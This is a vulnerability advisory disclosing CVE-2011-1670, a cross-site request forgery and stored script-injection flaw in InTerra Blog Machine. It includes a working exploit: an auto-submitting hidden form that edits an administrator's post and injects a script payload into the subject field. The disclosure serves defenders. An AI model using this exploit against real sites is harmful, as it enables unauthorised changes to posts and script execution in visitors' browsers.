Cross-site Request Forgery (CSRF) Vulnerability in InTerra Blog Machine

High-Tech Bridge SA Security Research Lab has discovered vulnerability in InTerra Blog Machine which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerability in InTerra Blog Machine: CVE-2011-1670
The vulnerability exists due to insufficient validation of the request origin in actions/add.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify user`s posts. Due to insufficient sanitation of input data in the "subject" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/01/post_url" -->
<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="content" value='content'>
<input type="hidden" name="date[Date_Day]" value="31">
<input type="hidden" name="date[Date_Month]" value="03">
<input type="hidden" name="date[Date_Year]" value="2011">
<input type="hidden" name="time[Time_Hour]" value="13">
<input type="hidden" name="time[Time_Minute]" value="59">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="section" value="0">
<input type="hidden" name="sectionNewName" value="">
<input type="hidden" name="sectionNewUnix" value="">
<input type="hidden" name="sectionNewHidden" value="0">
<input type="hidden" name="replicate" value="1">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="edit" value="POST_ID">
</form>
<script>
document.main.submit();
</script>